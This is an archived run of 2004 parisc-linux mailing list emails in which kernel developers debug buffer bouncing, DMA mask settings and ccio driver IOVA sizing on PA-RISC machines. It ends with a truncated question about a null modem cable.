List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22124

On Sat, Nov 20, 2004 at 08:37:08PM +0000, Joel Soete wrote:
> > IAOQ[1]: mempool_alloc+0xa4/0x18c
> > RP(r2): __blk_queue_bounce+0x210/0x290

My guess is this is because the default value is wrong...hrm..
but ccio driver should be clearing parisc_bus_is_phys.
Let me commit the pending change i have and then see how it goes.


> and I don't understand why reverting this patch:
> diff -u -r1.15 -r1.16
> --- linux-2.6/arch/parisc/mm/init.c	2004/10/24 05:47:27	1.15
> +++ linux-2.6/arch/parisc/mm/init.c	2004/11/10 19:55:37	1.16
> @@ -59,8 +59,6 @@
> 
>  static struct resource sysram_resources[MAX_PHYSMEM_RANGES];
> 
> -static unsigned long max_pfn;
> -
>  /* The following array is initialized from the firmware specific
>   * information retrieved in kernel/inventory.c.
>   */
> 
> solve the pb.
> 
> That doen't make sence to me as far as I test with success this kernel on 
> b180, b2k (32 and 64 bit) and n4k (smp) without pb
> (btw the same success with my rc2 merge on b2k [32 and 64 bit] and b180 :) )

hrm. We bounce when we think an address is greater than the number
of bits a device can DMA directly to. So either the max_pfn or
the dma_mask is being set wrong.

> Well the c110 is the only model I use with NCR 53C720 & LASI ASIC interface 
> (i.e. NCR 53C710)

Either of these drivers may not be setting the corresponding dma_mask.
I need to check.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] stop the buffer bouncing
Date: Sat, 20 Nov 2004 16:42:01 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20041120234201.GD11503@colo.lackof.org>
References: <20041116063733.GA27633@colo.lackof.org>
	<20041116150748.GI26623@parcelfarce.linux.theplanet.co.uk>
	<20041116160939.GB4176@colo.lackof.org>
	<20041116163403.GJ26623@parcelfarce.linux.theplanet.co.uk>
	<20041116181427.GG4176@colo.lackof.org>
	<419FC7C4.5030606@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623599 11769 80.91.229.3 (22 Nov 2014 02:33:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 12748 invoked by uid 65534); 20 Nov 2004 23:42:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx062) with SMTP; 21 Nov 2004 00:42:31 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 92AA53BE79; Sat, 20 Nov 2004 16:42:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07718-10; Sat, 20 Nov 2004 16:42:27 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0290E3BE72; Sat, 20 Nov 2004 16:42:10 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AB6C73BE62
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Nov 2004 16:42:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07771-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Nov 2004 16:42:05 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 414C73BE45
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Nov 2004 16:42:05 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 9176D298094; Sat, 20 Nov 2004 16:42:04 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12504-04; Sat, 20 Nov 2004 16:42:03 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id A277B298052; Sat, 20 Nov 2004 16:42:03 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <419FC7C4.5030606@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22125

On Sat, Nov 20, 2004 at 10:40:04PM +0000, Joel Soete wrote:
> It seems to also help c110 pb with ncr53c710:
> a big apt-get upgrade + 2 tar in //

I'm guessing the problem is the ncr53c8xx driver does NOT call
dma_set_mask(). PCI devices by default get a 32-bit mask.
I'll commit a patch so that's true for "parisc" (ie GSC) devices
as well. EISA device drivers will need to set an appropriate dma mask.
-pa17 should be ready shortly.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] stop the buffer bouncing
Date: Sat, 20 Nov 2004 23:45:18 +0000
Lines: 27
Approved: news@gmane.org
Message-ID: <20041120234518.GA25636@parcelfarce.linux.theplanet.co.uk>
References: <20041116063733.GA27633@colo.lackof.org>
	<20041116150748.GI26623@parcelfarce.linux.theplanet.co.uk>
	<20041116160939.GB4176@colo.lackof.org>
	<20041116163403.GJ26623@parcelfarce.linux.theplanet.co.uk>
	<20041116181427.GG4176@colo.lackof.org>
	<419FC7C4.5030606@tiscali.be>
	<20041120234201.GD11503@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623600 11776 80.91.229.3 (22 Nov 2014 02:33:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22978 invoked by uid 65534); 20 Nov 2004 23:45:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx033) with SMTP; 21 Nov 2004 00:45:53 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 763FC3BE83; Sat, 20 Nov 2004 16:45:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08054-03; Sat, 20 Nov 2004 16:45:51 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 42AAD3BE7B; Sat, 20 Nov 2004 16:45:41 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7929D3BE72
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Nov 2004 16:45:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07771-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Nov 2004 16:45:36 -0700 (MST)
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 26DCB3BE62
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Nov 2004 16:45:21 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CVeus-0003Ri-NN; Sat, 20 Nov 2004 23:45:18 +0000
Content-Disposition: inline
In-Reply-To: <20041120234201.GD11503@colo.lackof.org>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22126

On Sat, Nov 20, 2004 at 04:42:01PM -0700, Grant Grundler wrote:
> I'm guessing the problem is the ncr53c8xx driver does NOT call
> dma_set_mask(). PCI devices by default get a 32-bit mask.
> I'll commit a patch so that's true for "parisc" (ie GSC) devices
> as well. EISA device drivers will need to set an appropriate dma mask.
> -pa17 should be ready shortly.

EISA devices already get this set:

drivers/eisa/eisa-bus.c:        edev->dma_mask = root->dma_mask; /* Default DMA mask */
drivers/eisa/virtual_root.c:    .dma_mask      = 0xffffffff,

It's purely a parisc_device setup problem.  Nice spotting, Grant.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] stop the buffer bouncing
Date: Sun, 21 Nov 2004 02:36:28 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <20041121023628.GB25636@parcelfarce.linux.theplanet.co.uk>
References: <20041116063733.GA27633@colo.lackof.org>
	<20041116150748.GI26623@parcelfarce.linux.theplanet.co.uk>
	<20041116160939.GB4176@colo.lackof.org>
	<20041116163403.GJ26623@parcelfarce.linux.theplanet.co.uk>
	<20041116181427.GG4176@colo.lackof.org>
	<419FC7C4.5030606@tiscali.be>
	<20041120234201.GD11503@colo.lackof.org>
	<20041120234518.GA25636@parcelfarce.linux.theplanet.co.uk>
	<20041121000256.GE11503@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623600 11780 80.91.229.3 (22 Nov 2014 02:33:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 23309 invoked by uid 65534); 21 Nov 2004 02:37:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx064) with SMTP; 21 Nov 2004 03:37:14 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2CB3E3BE45; Sat, 20 Nov 2004 19:37:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09021-09; Sat, 20 Nov 2004 19:37:02 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0D89F3BE50; Sat, 20 Nov 2004 19:36:38 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3F95D3BE45
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Nov 2004 19:36:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 09021-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Nov 2004 19:36:32 -0700 (MST)
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id C68173BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 20 Nov 2004 19:36:31 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CVhaW-0002ul-Ts; Sun, 21 Nov 2004 02:36:29 +0000
Content-Disposition: inline
In-Reply-To: <20041121000256.GE11503@colo.lackof.org>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22127

On Sat, Nov 20, 2004 at 05:02:56PM -0700, Grant Grundler wrote:
> Ah good. But don't most EISA devices only support 24-bits?
> Oh wait...maybe that's just an ISA bus limitation that was
> carried along into EISA?

AFAIK, that's purely an ISA card limitation.  If you plug an ISA card into
an EISA slot, it'll only be able to DMA to 24-bit addresses.  But an
ISA card in an EISA slot don't get an eisa_device.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2.6.10-rc1-pa17 more BUS_IS_PHYS fixes
Date: Sun, 21 Nov 2004 14:32:50 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <20041121213250.GB1477@colo.lackof.org>
References: <20041120234853.5544149406D@palinux.hppa>
	<20041121001718.GG11503@colo.lackof.org>
	<41A0C6C3.7090103@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623600 11784 80.91.229.3 (22 Nov 2014 02:33:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 29749 invoked by uid 65534); 21 Nov 2004 21:34:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx015) with SMTP; 21 Nov 2004 22:34:41 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 604843BD42; Sun, 21 Nov 2004 14:34:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19731-07; Sun, 21 Nov 2004 14:33:44 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DD64E3BE5F; Sun, 21 Nov 2004 14:32:58 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CD9473BE26
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Nov 2004 14:32:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 19731-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Nov 2004 14:32:52 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 54CA13BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Nov 2004 14:32:52 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 97F9029805E; Sun, 21 Nov 2004 14:32:51 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01579-01; Sun, 21 Nov 2004 14:32:50 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id C5D65298058; Sun, 21 Nov 2004 14:32:50 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <41A0C6C3.7090103@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22128

On Sun, Nov 21, 2004 at 04:48:03PM +0000, Joel Soete wrote:
> >I expect one more patch for ccio driver if/when someone is willing
> >to figure out one small problem. ccio_dma_supported() *only* supports
> >32-bit devices. CCIO should be able to support any device which supports
> >more bits than are needed to cover IO virtual address space. It should be
> >a fairly small project to compute/locate the IOVA space size and
> >then coding that up for ccio_dma_supported(). I'm happy to review
> >patches and printk output if someone does this.
>
> Sorry, I don't see yet how using structure device to determine the IOVA 
> space size of a dev :(
> and not yet where can I find a list of those dev. May be have you an idea 
> to guide me?

The ccio driver just guesses at a "reasonable" size for total IOVA
space. Ideally it would have something to do with which type of
devices were below it. But this is not the problem I talking about though.

The problem I describe above is what happens *after* the CCIO driver
has decided the size of the IOVA space. ccio_dma_support just need to
know what the IOVA size is so if a device that supports more or less than
32-bits gets the right answer back. Right now, it's hard coded to 32-bits.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] what null modem cable to use for B2600?
Date: Wed, 24 Nov 2004 15:18:42 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <s1a4a671.027@MAIL.ZRT.NL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623601 11785 80.91.229.3 (22 Nov 2014 02:33:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:21 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 28388 invoked by uid 65534); 24 Nov 2004 14:21:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx054) with SMTP; 24 Nov 2004 15:21:41 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A004D3BE3E; Wed, 24 Nov 2004 07:21:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17168-01; Wed, 24 Nov 2004 07:21:16 -0700 (MST)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 078303BE33; Wed, 24 Nov 2004 07:20:39 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 49B053BE26
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Nov 2004 07:20:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 15867-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Nov 2004 07:20:24 -0700 (MST)
Original-Received: from ns.zrt.nl (unknown [194.178.120.170])
	by free.linux.hp.com (Postfix) with ESMTP id 130BE3BDDA
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Nov 2004 07:20:23 -0700 (MST)
Original-Received: (from root@localhost) by ns.zrt.nl (8.9.3c/8.6.12) id PAA47523 for
	<parisc-linux@lists.parisc-linux.org>;
	Wed, 24 Nov 2004 15:20:21 +0100 (CET)
Original-Received: by zrt01.zrt.nl (TUNIX txp2/smap)
	for <parisc-linux@lists.parisc-linux.org> id sma046836;
	Wed, 24 Nov 04 15:19:13 +0100
Original-Received: from do-gwia-MTA by MAIL.ZRT.NL
	with Novell_GroupWise; Wed, 24 Nov 2004 15:19:13 +0100
X-Mailer: Novell GroupWise Internet Agent 6.5.2 
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
